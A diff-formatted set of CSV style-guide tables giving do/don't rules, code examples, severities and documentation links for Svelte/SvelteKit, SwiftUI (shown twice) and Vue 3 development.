37,Logic,Use {#if} for conditionals,Template conditionals,{#if} {:else if} {:else},Ternary in expressions,{#if cond}...{:else}...{/if},{cond ? a : b} for complex,Low,https://svelte.dev/docs/logic-blocks#if
|
||||
38,Logic,Use {#each} for lists,List rendering,{#each} with key,Map in expression,{#each items as item (item.id)},{items.map(i => `<div>${i}</div>`)},Medium,
|
||||
39,Logic,Always use keys in {#each},Proper list reconciliation,(item.id) for unique key,Index as key or no key,{#each items as item (item.id)},"{#each items as item, i (i)}",High,
|
||||
40,Logic,Use {#await} for promises,Handle async states,{#await} for loading/error states,Manual promise handling,{#await promise}...{:then}...{:catch},{#if loading}...{#if error},Medium,https://svelte.dev/docs/logic-blocks#await
|
||||
41,SvelteKit,Use +page.svelte for routes,File-based routing,+page.svelte for route components,Custom routing setup,routes/about/+page.svelte,routes/About.svelte,Medium,https://kit.svelte.dev/docs/routing
|
||||
42,SvelteKit,Use +page.js for data loading,Load data before render,load function in +page.js,onMount for data fetching,export function load() {},onMount(() => fetchData()),High,https://kit.svelte.dev/docs/load
|
||||
43,SvelteKit,Use +page.server.js for server-only,Server-side data loading,+page.server.js for sensitive data,+page.js for API keys,+page.server.js with DB access,+page.js with DB access,High,
|
||||
44,SvelteKit,Use form actions,Server-side form handling,+page.server.js actions,API routes for forms,export const actions = { default },fetch('/api/submit'),Medium,https://kit.svelte.dev/docs/form-actions
|
||||
45,SvelteKit,Use $app/stores for app state,$page $navigating $updated,$page for current page data,Manual URL parsing,import { page } from '$app/stores',window.location.pathname,Medium,https://kit.svelte.dev/docs/modules#$app-stores
|
||||
46,Performance,Use {#key} for forced re-render,Reset component state,{#key id} for fresh instance,Manual destroy/create,{#key item.id}<Component/>{/key},on:change={() => component = null},Low,https://svelte.dev/docs/logic-blocks#key
|
||||
47,Performance,Avoid unnecessary reactivity,Not everything needs $:,$: only for side effects,$: for simple assignments,$: if (x) console.log(x),$: y = x (when y = x works),Low,
|
||||
48,Performance,Use immutable compiler option,Skip equality checks,immutable: true for large lists,Default for all components,<svelte:options immutable/>,Default without immutable,Low,
|
||||
49,TypeScript,"Use lang=""ts"" in script",TypeScript support,"<script lang=""ts"">",JavaScript for typed projects,"<script lang=""ts"">",<script> with JSDoc,Medium,https://svelte.dev/docs/typescript
|
||||
50,TypeScript,Type props with interface,Explicit prop types,interface $$Props for types,Untyped props,interface $$Props { name: string },export let name,Medium,
|
||||
51,TypeScript,Type events with createEventDispatcher,Type-safe events,createEventDispatcher<Events>(),Untyped dispatch,createEventDispatcher<{ save: Data }>(),createEventDispatcher(),Medium,
|
||||
52,Accessibility,Use semantic elements,Proper HTML in templates,button nav main appropriately,div for everything,<button on:click>,<div on:click>,High,
|
||||
53,Accessibility,Add aria to dynamic content,Accessible state changes,aria-live for updates,Silent dynamic updates,"<div aria-live=""polite"">{message}</div>",<div>{message}</div>,Medium,
|
||||
|
||||
|
@@ -1,51 +1,51 @@
|
||||
No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL
|
||||
1,Views,Use struct for views,SwiftUI views are value types,struct MyView: View,class MyView: View,struct ContentView: View { var body: some View },class ContentView: View,High,https://developer.apple.com/documentation/swiftui/view
|
||||
2,Views,Keep views small and focused,Single responsibility for each view,Extract subviews for complex layouts,Large monolithic views,Extract HeaderView FooterView,500+ line View struct,Medium,
|
||||
3,Views,Use body computed property,body returns the view hierarchy,var body: some View { },func body() -> some View,"var body: some View { Text(""Hello"") }",func body() -> Text,High,
|
||||
4,Views,Prefer composition over inheritance,Compose views using ViewBuilder,Combine smaller views,Inheritance hierarchies,VStack { Header() Content() },class SpecialView extends BaseView,Medium,
|
||||
5,State,Use @State for local state,Simple value types owned by view,@State for view-local primitives,@State for shared data,@State private var count = 0,@State var sharedData: Model,High,https://developer.apple.com/documentation/swiftui/state
|
||||
6,State,Use @Binding for two-way data,Pass mutable state to child views,@Binding for child input,@State in child for parent data,@Binding var isOn: Bool,$isOn to pass binding,Medium,https://developer.apple.com/documentation/swiftui/binding
|
||||
7,State,Use @StateObject for reference types,ObservableObject owned by view,@StateObject for view-created objects,@ObservedObject for owned objects,@StateObject private var vm = ViewModel(),@ObservedObject var vm = ViewModel(),High,https://developer.apple.com/documentation/swiftui/stateobject
|
||||
8,State,Use @ObservedObject for injected objects,Reference types passed from parent,@ObservedObject for injected dependencies,@StateObject for injected objects,@ObservedObject var vm: ViewModel,@StateObject var vm: ViewModel (injected),High,https://developer.apple.com/documentation/swiftui/observedobject
|
||||
9,State,Use @EnvironmentObject for shared state,App-wide state injection,@EnvironmentObject for global state,Prop drilling through views,@EnvironmentObject var settings: Settings,Pass settings through 5 views,Medium,https://developer.apple.com/documentation/swiftui/environmentobject
|
||||
10,State,Use @Published in ObservableObject,Automatically publish property changes,@Published for observed properties,Manual objectWillChange calls,@Published var items: [Item] = [],var items: [Item] { didSet { objectWillChange.send() } },Medium,
|
||||
11,Observable,Use @Observable macro (iOS 17+),Modern observation without Combine,@Observable class for view models,ObservableObject for new projects,@Observable class ViewModel { },class ViewModel: ObservableObject,Medium,https://developer.apple.com/documentation/observation
|
||||
12,Observable,Use @Bindable for @Observable,Create bindings from @Observable,@Bindable var vm for bindings,@Binding with @Observable,@Bindable var viewModel,$viewModel.name with @Observable,Medium,
|
||||
13,Layout,Use VStack HStack ZStack,Standard stack-based layouts,Stacks for linear arrangements,GeometryReader for simple layouts,VStack { Text() Image() },GeometryReader for vertical list,Medium,https://developer.apple.com/documentation/swiftui/vstack
|
||||
14,Layout,Use LazyVStack LazyHStack for lists,Lazy loading for performance,Lazy stacks for long lists,Regular stacks for 100+ items,LazyVStack { ForEach(items) },VStack { ForEach(largeArray) },High,https://developer.apple.com/documentation/swiftui/lazyvstack
|
||||
15,Layout,Use GeometryReader sparingly,Only when needed for sizing,GeometryReader for responsive layouts,GeometryReader everywhere,GeometryReader for aspect ratio,GeometryReader wrapping everything,Medium,
|
||||
16,Layout,Use spacing and padding consistently,Consistent spacing throughout app,Design system spacing values,Magic numbers for spacing,.padding(16) or .padding(),".padding(13), .padding(17)",Low,
|
||||
17,Layout,Use frame modifiers correctly,Set explicit sizes when needed,.frame(maxWidth: .infinity),Fixed sizes for responsive content,.frame(maxWidth: .infinity),.frame(width: 375),Medium,
|
||||
18,Modifiers,Order modifiers correctly,Modifier order affects rendering,Background before padding for full coverage,Wrong modifier order,.padding().background(Color.red),.background(Color.red).padding(),High,
|
||||
19,Modifiers,Create custom ViewModifiers,Reusable modifier combinations,ViewModifier for repeated styling,Duplicate modifier chains,struct CardStyle: ViewModifier,.shadow().cornerRadius() everywhere,Medium,https://developer.apple.com/documentation/swiftui/viewmodifier
|
||||
20,Modifiers,Use conditional modifiers carefully,Avoid changing view identity,if-else with same view type,Conditional that changes view identity,Text(title).foregroundColor(isActive ? .blue : .gray),if isActive { Text().bold() } else { Text() },Medium,
|
||||
21,Navigation,Use NavigationStack (iOS 16+),Modern navigation with type-safe paths,NavigationStack with navigationDestination,NavigationView for new projects,NavigationStack { },NavigationView { } (deprecated),Medium,https://developer.apple.com/documentation/swiftui/navigationstack
|
||||
22,Navigation,Use navigationDestination,Type-safe navigation destinations,.navigationDestination(for:),NavigationLink(destination:),.navigationDestination(for: Item.self),NavigationLink(destination: DetailView()),Medium,
|
||||
23,Navigation,Use @Environment for dismiss,Programmatic navigation dismissal,@Environment(\.dismiss) var dismiss,presentationMode (deprecated),@Environment(\.dismiss) var dismiss,@Environment(\.presentationMode),Low,
|
||||
24,Lists,Use List for scrollable content,Built-in scrolling and styling,List for standard scrollable content,ScrollView + VStack for simple lists,List { ForEach(items) { } },ScrollView { VStack { ForEach } },Low,https://developer.apple.com/documentation/swiftui/list
|
||||
25,Lists,Provide stable identifiers,Use Identifiable or explicit id,Identifiable protocol or id parameter,Index as identifier,ForEach(items) where Item: Identifiable,"ForEach(items.indices, id: \.self)",High,
|
||||
26,Lists,Use onDelete and onMove,Standard list editing,onDelete for swipe to delete,Custom delete implementation,.onDelete(perform: delete),.onTapGesture for delete,Low,
|
||||
27,Forms,Use Form for settings,Grouped input controls,Form for settings screens,Manual grouping for forms,Form { Section { Toggle() } },VStack { Toggle() },Low,https://developer.apple.com/documentation/swiftui/form
|
||||
28,Forms,Use @FocusState for keyboard,Manage keyboard focus,@FocusState for text field focus,Manual first responder handling,@FocusState private var isFocused: Bool,UIKit first responder,Medium,https://developer.apple.com/documentation/swiftui/focusstate
|
||||
29,Forms,Validate input properly,Show validation feedback,Real-time validation feedback,Submit without validation,TextField with validation state,TextField without error handling,Medium,
|
||||
30,Async,Use .task for async work,Automatic cancellation on view disappear,.task for view lifecycle async,onAppear with Task,.task { await loadData() },onAppear { Task { await loadData() } },Medium,https://developer.apple.com/documentation/swiftui/view/task(priority:_:)
|
||||
31,Async,Handle loading states,Show progress during async operations,ProgressView during loading,Empty view during load,if isLoading { ProgressView() },No loading indicator,Medium,
|
||||
32,Async,Use @MainActor for UI updates,Ensure UI updates on main thread,@MainActor on view models,Manual DispatchQueue.main,@MainActor class ViewModel,DispatchQueue.main.async,Medium,
|
||||
33,Animation,Use withAnimation,Animate state changes,withAnimation for state transitions,No animation for state changes,withAnimation { isExpanded.toggle() },isExpanded.toggle(),Low,https://developer.apple.com/documentation/swiftui/withanimation(_:_:)
|
||||
34,Animation,Use .animation modifier,Apply animations to views,.animation(.spring()) on view,Manual animation timing,.animation(.easeInOut),CABasicAnimation equivalent,Low,
|
||||
35,Animation,Respect reduced motion,Check accessibility settings,Check accessibilityReduceMotion,Ignore motion preferences,@Environment(\.accessibilityReduceMotion),Always animate regardless,High,
|
||||
36,Preview,Use #Preview macro (Xcode 15+),Modern preview syntax,#Preview for view previews,PreviewProvider protocol,#Preview { ContentView() },struct ContentView_Previews: PreviewProvider,Low,
|
||||
37,Preview,Create multiple previews,Test different states and devices,Multiple previews for states,Single preview only,"#Preview(""Light"") { } #Preview(""Dark"") { }",Single preview configuration,Low,
|
||||
38,Preview,Use preview data,Dedicated preview mock data,Static preview data,Production data in previews,Item.preview for preview,Fetch real data in preview,Low,
|
||||
39,Performance,Avoid expensive body computations,Body should be fast to compute,Precompute in view model,Heavy computation in body,vm.computedValue in body,Complex calculation in body,High,
|
||||
40,Performance,Use Equatable views,Skip unnecessary view updates,Equatable for complex views,Default equality for all views,struct MyView: View Equatable,No Equatable conformance,Medium,
|
||||
41,Performance,Profile with Instruments,Measure before optimizing,Use SwiftUI Instruments,Guess at performance issues,Profile with Instruments,Optimize without measuring,Medium,
|
||||
42,Accessibility,Add accessibility labels,Describe UI elements,.accessibilityLabel for context,Missing labels,".accessibilityLabel(""Close button"")",Button without label,High,https://developer.apple.com/documentation/swiftui/view/accessibilitylabel(_:)-1d7jv
|
||||
43,Accessibility,Support Dynamic Type,Respect text size preferences,Scalable fonts and layouts,Fixed font sizes,.font(.body) with Dynamic Type,.font(.system(size: 16)),High,
|
||||
44,Accessibility,Use semantic views,Proper accessibility traits,Correct accessibilityTraits,Wrong semantic meaning,Button for actions Image for display,Image that acts like button,Medium,
|
||||
45,Testing,Use ViewInspector for testing,Third-party view testing,ViewInspector for unit tests,UI tests only,ViewInspector assertions,Only XCUITest,Medium,
|
||||
46,Testing,Test view models,Unit test business logic,XCTest for view model,Skip view model testing,Test ViewModel methods,No unit tests,Medium,
|
||||
47,Testing,Use preview as visual test,Previews catch visual regressions,Multiple preview configurations,No visual verification,Preview different states,Single preview only,Low,
|
||||
48,Architecture,Use MVVM pattern,Separate view and logic,ViewModel for business logic,Logic in View,ObservableObject ViewModel,@State for complex logic,Medium,
|
||||
49,Architecture,Keep views dumb,Views display view model state,View reads from ViewModel,Business logic in View,view.items from vm.items,Complex filtering in View,Medium,
|
||||
50,Architecture,Use dependency injection,Inject dependencies for testing,Initialize with dependencies,Hard-coded dependencies,init(service: ServiceProtocol),let service = RealService(),Medium,
|
||||
No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL
|
||||
1,Views,Use struct for views,SwiftUI views are value types,struct MyView: View,class MyView: View,struct ContentView: View { var body: some View },class ContentView: View,High,https://developer.apple.com/documentation/swiftui/view
|
||||
2,Views,Keep views small and focused,Single responsibility for each view,Extract subviews for complex layouts,Large monolithic views,Extract HeaderView FooterView,500+ line View struct,Medium,
|
||||
3,Views,Use body computed property,body returns the view hierarchy,var body: some View { },func body() -> some View,"var body: some View { Text(""Hello"") }",func body() -> Text,High,
|
||||
4,Views,Prefer composition over inheritance,Compose views using ViewBuilder,Combine smaller views,Inheritance hierarchies,VStack { Header() Content() },class SpecialView extends BaseView,Medium,
|
||||
5,State,Use @State for local state,Simple value types owned by view,@State for view-local primitives,@State for shared data,@State private var count = 0,@State var sharedData: Model,High,https://developer.apple.com/documentation/swiftui/state
|
||||
6,State,Use @Binding for two-way data,Pass mutable state to child views,@Binding for child input,@State in child for parent data,@Binding var isOn: Bool,$isOn to pass binding,Medium,https://developer.apple.com/documentation/swiftui/binding
|
||||
7,State,Use @StateObject for reference types,ObservableObject owned by view,@StateObject for view-created objects,@ObservedObject for owned objects,@StateObject private var vm = ViewModel(),@ObservedObject var vm = ViewModel(),High,https://developer.apple.com/documentation/swiftui/stateobject
|
||||
8,State,Use @ObservedObject for injected objects,Reference types passed from parent,@ObservedObject for injected dependencies,@StateObject for injected objects,@ObservedObject var vm: ViewModel,@StateObject var vm: ViewModel (injected),High,https://developer.apple.com/documentation/swiftui/observedobject
|
||||
9,State,Use @EnvironmentObject for shared state,App-wide state injection,@EnvironmentObject for global state,Prop drilling through views,@EnvironmentObject var settings: Settings,Pass settings through 5 views,Medium,https://developer.apple.com/documentation/swiftui/environmentobject
|
||||
10,State,Use @Published in ObservableObject,Automatically publish property changes,@Published for observed properties,Manual objectWillChange calls,@Published var items: [Item] = [],var items: [Item] { didSet { objectWillChange.send() } },Medium,
|
||||
11,Observable,Use @Observable macro (iOS 17+),Modern observation without Combine,@Observable class for view models,ObservableObject for new projects,@Observable class ViewModel { },class ViewModel: ObservableObject,Medium,https://developer.apple.com/documentation/observation
|
||||
12,Observable,Use @Bindable for @Observable,Create bindings from @Observable,@Bindable var vm for bindings,@Binding with @Observable,@Bindable var viewModel,$viewModel.name with @Observable,Medium,
|
||||
13,Layout,Use VStack HStack ZStack,Standard stack-based layouts,Stacks for linear arrangements,GeometryReader for simple layouts,VStack { Text() Image() },GeometryReader for vertical list,Medium,https://developer.apple.com/documentation/swiftui/vstack
|
||||
14,Layout,Use LazyVStack LazyHStack for lists,Lazy loading for performance,Lazy stacks for long lists,Regular stacks for 100+ items,LazyVStack { ForEach(items) },VStack { ForEach(largeArray) },High,https://developer.apple.com/documentation/swiftui/lazyvstack
|
||||
15,Layout,Use GeometryReader sparingly,Only when needed for sizing,GeometryReader for responsive layouts,GeometryReader everywhere,GeometryReader for aspect ratio,GeometryReader wrapping everything,Medium,
|
||||
16,Layout,Use spacing and padding consistently,Consistent spacing throughout app,Design system spacing values,Magic numbers for spacing,.padding(16) or .padding(),".padding(13), .padding(17)",Low,
|
||||
17,Layout,Use frame modifiers correctly,Set explicit sizes when needed,.frame(maxWidth: .infinity),Fixed sizes for responsive content,.frame(maxWidth: .infinity),.frame(width: 375),Medium,
|
||||
18,Modifiers,Order modifiers correctly,Modifier order affects rendering,Background before padding for full coverage,Wrong modifier order,.padding().background(Color.red),.background(Color.red).padding(),High,
|
||||
19,Modifiers,Create custom ViewModifiers,Reusable modifier combinations,ViewModifier for repeated styling,Duplicate modifier chains,struct CardStyle: ViewModifier,.shadow().cornerRadius() everywhere,Medium,https://developer.apple.com/documentation/swiftui/viewmodifier
|
||||
20,Modifiers,Use conditional modifiers carefully,Avoid changing view identity,if-else with same view type,Conditional that changes view identity,Text(title).foregroundColor(isActive ? .blue : .gray),if isActive { Text().bold() } else { Text() },Medium,
|
||||
21,Navigation,Use NavigationStack (iOS 16+),Modern navigation with type-safe paths,NavigationStack with navigationDestination,NavigationView for new projects,NavigationStack { },NavigationView { } (deprecated),Medium,https://developer.apple.com/documentation/swiftui/navigationstack
|
||||
22,Navigation,Use navigationDestination,Type-safe navigation destinations,.navigationDestination(for:),NavigationLink(destination:),.navigationDestination(for: Item.self),NavigationLink(destination: DetailView()),Medium,
|
||||
23,Navigation,Use @Environment for dismiss,Programmatic navigation dismissal,@Environment(\.dismiss) var dismiss,presentationMode (deprecated),@Environment(\.dismiss) var dismiss,@Environment(\.presentationMode),Low,
|
||||
24,Lists,Use List for scrollable content,Built-in scrolling and styling,List for standard scrollable content,ScrollView + VStack for simple lists,List { ForEach(items) { } },ScrollView { VStack { ForEach } },Low,https://developer.apple.com/documentation/swiftui/list
|
||||
25,Lists,Provide stable identifiers,Use Identifiable or explicit id,Identifiable protocol or id parameter,Index as identifier,ForEach(items) where Item: Identifiable,"ForEach(items.indices, id: \.self)",High,
|
||||
26,Lists,Use onDelete and onMove,Standard list editing,onDelete for swipe to delete,Custom delete implementation,.onDelete(perform: delete),.onTapGesture for delete,Low,
|
||||
27,Forms,Use Form for settings,Grouped input controls,Form for settings screens,Manual grouping for forms,Form { Section { Toggle() } },VStack { Toggle() },Low,https://developer.apple.com/documentation/swiftui/form
|
||||
28,Forms,Use @FocusState for keyboard,Manage keyboard focus,@FocusState for text field focus,Manual first responder handling,@FocusState private var isFocused: Bool,UIKit first responder,Medium,https://developer.apple.com/documentation/swiftui/focusstate
|
||||
29,Forms,Validate input properly,Show validation feedback,Real-time validation feedback,Submit without validation,TextField with validation state,TextField without error handling,Medium,
|
||||
30,Async,Use .task for async work,Automatic cancellation on view disappear,.task for view lifecycle async,onAppear with Task,.task { await loadData() },onAppear { Task { await loadData() } },Medium,https://developer.apple.com/documentation/swiftui/view/task(priority:_:)
|
||||
31,Async,Handle loading states,Show progress during async operations,ProgressView during loading,Empty view during load,if isLoading { ProgressView() },No loading indicator,Medium,
|
||||
32,Async,Use @MainActor for UI updates,Ensure UI updates on main thread,@MainActor on view models,Manual DispatchQueue.main,@MainActor class ViewModel,DispatchQueue.main.async,Medium,
|
||||
33,Animation,Use withAnimation,Animate state changes,withAnimation for state transitions,No animation for state changes,withAnimation { isExpanded.toggle() },isExpanded.toggle(),Low,https://developer.apple.com/documentation/swiftui/withanimation(_:_:)
|
||||
34,Animation,Use .animation modifier,Apply animations to views,.animation(.spring()) on view,Manual animation timing,.animation(.easeInOut),CABasicAnimation equivalent,Low,
|
||||
35,Animation,Respect reduced motion,Check accessibility settings,Check accessibilityReduceMotion,Ignore motion preferences,@Environment(\.accessibilityReduceMotion),Always animate regardless,High,
|
||||
36,Preview,Use #Preview macro (Xcode 15+),Modern preview syntax,#Preview for view previews,PreviewProvider protocol,#Preview { ContentView() },struct ContentView_Previews: PreviewProvider,Low,
|
||||
37,Preview,Create multiple previews,Test different states and devices,Multiple previews for states,Single preview only,"#Preview(""Light"") { } #Preview(""Dark"") { }",Single preview configuration,Low,
|
||||
38,Preview,Use preview data,Dedicated preview mock data,Static preview data,Production data in previews,Item.preview for preview,Fetch real data in preview,Low,
|
||||
39,Performance,Avoid expensive body computations,Body should be fast to compute,Precompute in view model,Heavy computation in body,vm.computedValue in body,Complex calculation in body,High,
|
||||
40,Performance,Use Equatable views,Skip unnecessary view updates,Equatable for complex views,Default equality for all views,struct MyView: View Equatable,No Equatable conformance,Medium,
|
||||
41,Performance,Profile with Instruments,Measure before optimizing,Use SwiftUI Instruments,Guess at performance issues,Profile with Instruments,Optimize without measuring,Medium,
|
||||
42,Accessibility,Add accessibility labels,Describe UI elements,.accessibilityLabel for context,Missing labels,".accessibilityLabel(""Close button"")",Button without label,High,https://developer.apple.com/documentation/swiftui/view/accessibilitylabel(_:)-1d7jv
|
||||
43,Accessibility,Support Dynamic Type,Respect text size preferences,Scalable fonts and layouts,Fixed font sizes,.font(.body) with Dynamic Type,.font(.system(size: 16)),High,
|
||||
44,Accessibility,Use semantic views,Proper accessibility traits,Correct accessibilityTraits,Wrong semantic meaning,Button for actions Image for display,Image that acts like button,Medium,
|
||||
45,Testing,Use ViewInspector for testing,Third-party view testing,ViewInspector for unit tests,UI tests only,ViewInspector assertions,Only XCUITest,Medium,
|
||||
46,Testing,Test view models,Unit test business logic,XCTest for view model,Skip view model testing,Test ViewModel methods,No unit tests,Medium,
|
||||
47,Testing,Use preview as visual test,Previews catch visual regressions,Multiple preview configurations,No visual verification,Preview different states,Single preview only,Low,
|
||||
48,Architecture,Use MVVM pattern,Separate view and logic,ViewModel for business logic,Logic in View,ObservableObject ViewModel,@State for complex logic,Medium,
|
||||
49,Architecture,Keep views dumb,Views display view model state,View reads from ViewModel,Business logic in View,view.items from vm.items,Complex filtering in View,Medium,
|
||||
50,Architecture,Use dependency injection,Inject dependencies for testing,Initialize with dependencies,Hard-coded dependencies,init(service: ServiceProtocol),let service = RealService(),Medium,
|
||||
|
||||
|
@@ -1,50 +1,50 @@
|
||||
No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL
|
||||
1,Composition,Use Composition API for new projects,Composition API offers better TypeScript support and logic reuse,<script setup> for components,Options API for new projects,<script setup>,export default { data() },Medium,https://vuejs.org/guide/extras/composition-api-faq.html
|
||||
2,Composition,Use script setup syntax,Cleaner syntax with automatic exports,<script setup> with defineProps,setup() function manually,<script setup>,<script> setup() { return {} },Low,https://vuejs.org/api/sfc-script-setup.html
|
||||
3,Reactivity,Use ref for primitives,ref() for primitive values that need reactivity,ref() for strings numbers booleans,reactive() for primitives,const count = ref(0),const count = reactive(0),Medium,https://vuejs.org/guide/essentials/reactivity-fundamentals.html
|
||||
4,Reactivity,Use reactive for objects,reactive() for complex objects and arrays,reactive() for objects with multiple properties,ref() for complex objects,const state = reactive({ user: null }),const state = ref({ user: null }),Medium,
|
||||
5,Reactivity,Access ref values with .value,Remember .value in script unwrap in template,Use .value in script,Forget .value in script,count.value++,count++ (in script),High,
|
||||
6,Reactivity,Use computed for derived state,Computed properties cache and update automatically,computed() for derived values,Methods for derived values,const doubled = computed(() => count.value * 2),const doubled = () => count.value * 2,Medium,https://vuejs.org/guide/essentials/computed.html
|
||||
7,Reactivity,Use shallowRef for large objects,Avoid deep reactivity for performance,shallowRef for large data structures,ref for large nested objects,const bigData = shallowRef(largeObject),const bigData = ref(largeObject),Medium,https://vuejs.org/api/reactivity-advanced.html#shallowref
|
||||
8,Watchers,Use watchEffect for simple cases,Auto-tracks dependencies,watchEffect for simple reactive effects,watch with explicit deps when not needed,watchEffect(() => console.log(count.value)),"watch(count, (val) => console.log(val))",Low,https://vuejs.org/guide/essentials/watchers.html
|
||||
9,Watchers,Use watch for specific sources,Explicit control over what to watch,watch with specific refs,watchEffect for complex conditional logic,"watch(userId, fetchUser)",watchEffect with conditionals,Medium,
|
||||
10,Watchers,Clean up side effects,Return cleanup function in watchers,Return cleanup in watchEffect,Leave subscriptions open,watchEffect((onCleanup) => { onCleanup(unsub) }),watchEffect without cleanup,High,
|
||||
11,Props,Define props with defineProps,Type-safe prop definitions,defineProps with TypeScript,Props without types,defineProps<{ msg: string }>(),defineProps(['msg']),Medium,https://vuejs.org/guide/typescript/composition-api.html#typing-component-props
|
||||
12,Props,Use withDefaults for default values,Provide defaults for optional props,withDefaults with defineProps,Defaults in destructuring,"withDefaults(defineProps<Props>(), { count: 0 })",const { count = 0 } = defineProps(),Medium,
|
||||
13,Props,Avoid mutating props,Props should be read-only,Emit events to parent for changes,Direct prop mutation,"emit('update:modelValue', newVal)",props.modelValue = newVal,High,
|
||||
14,Emits,Define emits with defineEmits,Type-safe event emissions,defineEmits with types,Emit without definition,defineEmits<{ change: [id: number] }>(),"emit('change', id) without define",Medium,https://vuejs.org/guide/typescript/composition-api.html#typing-component-emits
|
||||
15,Emits,Use v-model for two-way binding,Simplified parent-child data flow,v-model with modelValue prop,:value + @input manually,"<Child v-model=""value""/>","<Child :value=""value"" @input=""value = $event""/>",Low,https://vuejs.org/guide/components/v-model.html
|
||||
16,Lifecycle,Use onMounted for DOM access,DOM is ready in onMounted,onMounted for DOM operations,Access DOM in setup directly,onMounted(() => el.value.focus()),el.value.focus() in setup,High,https://vuejs.org/api/composition-api-lifecycle.html
|
||||
17,Lifecycle,Clean up in onUnmounted,Remove listeners and subscriptions,onUnmounted for cleanup,Leave listeners attached,onUnmounted(() => window.removeEventListener()),No cleanup on unmount,High,
|
||||
18,Lifecycle,Avoid onBeforeMount for data,Use onMounted or setup for data fetching,Fetch in onMounted or setup,Fetch in onBeforeMount,onMounted(async () => await fetchData()),onBeforeMount(async () => await fetchData()),Low,
|
||||
19,Components,Use single-file components,Keep template script style together,.vue files for components,Separate template/script files,Component.vue with all parts,Component.js + Component.html,Low,
|
||||
20,Components,Use PascalCase for components,Consistent component naming,PascalCase in imports and templates,kebab-case in script,<MyComponent/>,<my-component/>,Low,https://vuejs.org/style-guide/rules-strongly-recommended.html
|
||||
21,Components,Prefer composition over mixins,Composables replace mixins,Composables for shared logic,Mixins for code reuse,const { data } = useApi(),mixins: [apiMixin],Medium,
|
||||
22,Composables,Name composables with use prefix,Convention for composable functions,useFetch useAuth useForm,getData or fetchApi,export function useFetch(),export function fetchData(),Medium,https://vuejs.org/guide/reusability/composables.html
|
||||
23,Composables,Return refs from composables,Maintain reactivity when destructuring,Return ref values,Return reactive objects that lose reactivity,return { data: ref(null) },return reactive({ data: null }),Medium,
|
||||
24,Composables,Accept ref or value params,Use toValue for flexible inputs,toValue() or unref() for params,Only accept ref or only value,const val = toValue(maybeRef),const val = maybeRef.value,Low,https://vuejs.org/api/reactivity-utilities.html#tovalue
|
||||
25,Templates,Use v-bind shorthand,Cleaner template syntax,:prop instead of v-bind:prop,Full v-bind syntax,"<div :class=""cls"">","<div v-bind:class=""cls"">",Low,
|
||||
26,Templates,Use v-on shorthand,Cleaner event binding,@event instead of v-on:event,Full v-on syntax,"<button @click=""handler"">","<button v-on:click=""handler"">",Low,
|
||||
27,Templates,Avoid v-if with v-for,v-if has higher priority causes issues,Wrap in template or computed filter,v-if on same element as v-for,<template v-for><div v-if>,<div v-for v-if>,High,https://vuejs.org/style-guide/rules-essential.html#avoid-v-if-with-v-for
|
||||
28,Templates,Use key with v-for,Proper list rendering and updates,Unique key for each item,Index as key for dynamic lists,"v-for=""item in items"" :key=""item.id""","v-for=""(item, i) in items"" :key=""i""",High,
|
||||
29,State,Use Pinia for global state,Official state management for Vue 3,Pinia stores for shared state,Vuex for new projects,const store = useCounterStore(),Vuex with mutations,Medium,https://pinia.vuejs.org/
|
||||
30,State,Define stores with defineStore,Composition API style stores,Setup stores with defineStore,Options stores for complex state,"defineStore('counter', () => {})","defineStore('counter', { state })",Low,
|
||||
31,State,Use storeToRefs for destructuring,Maintain reactivity when destructuring,storeToRefs(store),Direct destructuring,const { count } = storeToRefs(store),const { count } = store,High,https://pinia.vuejs.org/core-concepts/#destructuring-from-a-store
|
||||
32,Routing,Use useRouter and useRoute,Composition API router access,useRouter() useRoute() in setup,this.$router this.$route,const router = useRouter(),this.$router.push(),Medium,https://router.vuejs.org/guide/advanced/composition-api.html
|
||||
33,Routing,Lazy load route components,Code splitting for routes,() => import() for components,Static imports for all routes,component: () => import('./Page.vue'),component: Page,Medium,https://router.vuejs.org/guide/advanced/lazy-loading.html
|
||||
34,Routing,Use navigation guards,Protect routes and handle redirects,beforeEach for auth checks,Check auth in each component,router.beforeEach((to) => {}),Check auth in onMounted,Medium,
|
||||
35,Performance,Use v-once for static content,Skip re-renders for static elements,v-once on never-changing content,v-once on dynamic content,<div v-once>{{ staticText }}</div>,<div v-once>{{ dynamicText }}</div>,Low,https://vuejs.org/api/built-in-directives.html#v-once
|
||||
36,Performance,Use v-memo for expensive lists,Memoize list items,v-memo with dependency array,Re-render entire list always,"<div v-for v-memo=""[item.id]"">",<div v-for> without memo,Medium,https://vuejs.org/api/built-in-directives.html#v-memo
|
||||
37,Performance,Use shallowReactive for flat objects,Avoid deep reactivity overhead,shallowReactive for flat state,reactive for simple objects,shallowReactive({ count: 0 }),reactive({ count: 0 }),Low,
|
||||
38,Performance,Use defineAsyncComponent,Lazy load heavy components,defineAsyncComponent for modals dialogs,Import all components eagerly,defineAsyncComponent(() => import()),import HeavyComponent from,Medium,https://vuejs.org/guide/components/async.html
|
||||
39,TypeScript,Use generic components,Type-safe reusable components,Generic with defineComponent,Any types in components,"<script setup lang=""ts"" generic=""T"">",<script setup> without types,Medium,https://vuejs.org/guide/typescript/composition-api.html
|
||||
40,TypeScript,Type template refs,Proper typing for DOM refs,ref<HTMLInputElement>(null),ref(null) without type,const input = ref<HTMLInputElement>(null),const input = ref(null),Medium,
|
||||
41,TypeScript,Use PropType for complex props,Type complex prop types,PropType<User> for object props,Object without type,type: Object as PropType<User>,type: Object,Medium,
|
||||
42,Testing,Use Vue Test Utils,Official testing library,mount shallowMount for components,Manual DOM testing,import { mount } from '@vue/test-utils',document.createElement,Medium,https://test-utils.vuejs.org/
|
||||
43,Testing,Test component behavior,Focus on inputs and outputs,Test props emit and rendered output,Test internal implementation,expect(wrapper.text()).toContain(),expect(wrapper.vm.internalState),Medium,
|
||||
44,Forms,Use v-model modifiers,Built-in input handling,.lazy .number .trim modifiers,Manual input parsing,"<input v-model.number=""age"">","<input v-model=""age""> then parse",Low,https://vuejs.org/guide/essentials/forms.html#modifiers
|
||||
45,Forms,Use VeeValidate or FormKit,Form validation libraries,VeeValidate for complex forms,Manual validation logic,useField useForm from vee-validate,Custom validation in each input,Medium,
|
||||
46,Accessibility,Use semantic elements,Proper HTML elements in templates,button nav main for purpose,div for everything,<button @click>,<div @click>,High,
|
||||
47,Accessibility,Bind aria attributes dynamically,Keep ARIA in sync with state,":aria-expanded=""isOpen""",Static ARIA values,":aria-expanded=""menuOpen""","aria-expanded=""true""",Medium,
|
||||
